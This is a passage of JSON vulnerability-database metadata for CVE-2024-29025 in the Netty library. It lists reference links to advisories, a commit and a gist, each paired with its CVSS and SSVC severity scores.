cvename.cgi?name=CVE-2024-29025"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://gist.github.com/vietj/f558b8ea81ec6505f1e9a6ca283c9ae3","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2024-07-19T15:54:48Z/"}],"url":"https://gist.github.com/vietj/f558b8ea81ec6505f1e9a6ca283c9ae3"},{"reference_url":"https://github.com/netty/netty","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/netty/netty"},{"reference_url":"https://github.com/netty/netty/commit/0d0c6ed782d13d423586ad0c71737b2c7d02058c","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2024-07-19T15:54:48Z/"}],"url":"https://github.com/netty/netty/commit/0d0c6ed782d13d423586ad0c71737b2c7d02058c"},{"reference_url":"https://github.com/netty/netty/security/advisories/GHSA-5jpm-x58v-624v","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2024-07-19T15:54:48Z/"}],"url":"https://github.com/netty/netty/security/advisories/GHSA-5jpm-x58v-624v"},{"reference_url":"https://github.com/vietj/netty/tree/post-request-decoder","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textua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Interpretation of HTTP Requests ('HTTP Request Smuggling')\nThis CVE has been marked as a False Positive and has been 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